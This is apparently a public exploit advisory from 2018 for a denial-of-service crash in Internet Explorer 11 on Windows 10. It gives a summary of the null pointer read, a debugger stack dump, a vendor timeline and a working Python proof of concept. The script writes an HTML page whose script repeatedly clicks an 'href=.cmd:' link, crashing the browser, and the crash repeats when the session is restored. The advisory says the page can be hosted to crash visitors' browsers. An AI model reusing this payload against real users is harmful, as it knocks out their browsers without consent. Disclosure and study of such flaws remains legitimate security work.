Microsoft Internet Explorer 11.371.16299.0 Denial Of Service

Authors:hyp3rlinx            Risk:Medium

CVE:NO                      0day:Denial Of Service

0day-id:0DAY-17539           Date:2018-04-23

Summary

A null pointer de-reference (read) results in an Internet Explorer Denial of Service (crash) when MSIE encounters an specially crafted
HTML HREF tag containing an empty reference for certain Windows file types. Upon IE crash it will at times daringly attempt to restart itself,
if that occurs and user is prompted by IE to restore their browser session, then selecting this option so far in my tests has shown to repeat the
crash all over again. This can be leveraged by visiting a hostile webpage or link to crash an end users MSIE browser.

Referencing some of the following extensions .exe:, .com:, .pif:, .bat: and .scr: should produce the same 🙂

Product

Internet Explorer (Windows 10)
v11.371.16299.0

Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.

Tested Windows 10

Stack Dump
(2e8c.27e4): Access violation - code c0000005 (first/second chance not available)
ntdll!NtWaitForMultipleObjects+0x14:
00007ffa`be5f0e14 c3              ret
0:015> r
rax=000000000000005b rbx=0000000000000003 rcx=0000000000000003
rdx=000000cca6efd3a8 rsi=0000000000000000 rdi=0000000000000003
rip=00007ffabe5f0e14 rsp=000000cca6efcfa8 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000010 r13=000000cca6efd3a8
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtWaitForMultipleObjects+0x14:
00007ffa`be5f0e14 c3              ret
 
CONTEXT:  (.ecxr)
rax=0000000000000000 rbx=000001fd4a2ec9d8 rcx=0000000000000000
rdx=00007ffabb499398 rsi=000001fd4a5b0ce0 rdi=0000000000000000
rip=00007ffabb7fc646 rsp=000000cca6efe4f8 rbp=000000cca6efe600
 r8=0000000000000000  r9=0000000000008000 r10=00007ffabb499398
r11=0000000000000000 r12=0000000000000000 r13=00007ffabb48d060
r14=0000000000000002 r15=0000000000000001
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
KERNELBASE!StrCmpICW+0x6:
00007ffa`bb7fc646 450fb70b        movzx   r9d,word ptr [r11] ds:00000000`00000000=????
Resetting default scope
 
FAULTING_IP: 
KERNELBASE!StrCmpICW+6
00007ffa`bb7fc646 450fb70b        movzx   r9d,word ptr [r11]
 
EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffabb7fc646 (KERNELBASE!StrCmpICW+0x0000000000000006)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: 0000000000000000
Attempt to read from address 0000000000000000
 
DEFAULT_BUCKET_ID:  NULL_POINTER_READ
PROCESS_NAME:  iexplore.exe
POC video

POC

1) Run below python script to create "IE-Win10-Crasha.html"
2) Open IE-Win10-Crasha.html in InternetExplorer v11.371.16299 on Windows 10
 
payload=('<br>\n'+
'<center>MSIE v11.371.16299 Denial Of Service by hyp3rlinx <br>\n'+
'<a href=".cmd:" id="hate">crashy ware shee</a>\n'+
'<br>\n'+
'Tested successfully on Windows 10\n'+
'</center><script>\n'
'function doit(){\n'+
'document.getElementById("hate").click();\n'
'alert("DOH!");\n'+
'obj.click();\n'+
'obj.click();\n'+
'}\n'+
'setInterval("doit()", 2000)\n'+
'</script>')
 
file=open("IE-Win10-Crasha.html","w")
file.write(payload)
file.close()
 
print 'MS InternetExplorer (Win 10) '
print 'Denial Of Service File Created.'
print 'hyp3rlinx'

Timeline

Vendor Notification: April 18, 2018
vendor closes thread : April 19, 2018
April 20, 2018 : Public Disclosure

Leave a Reply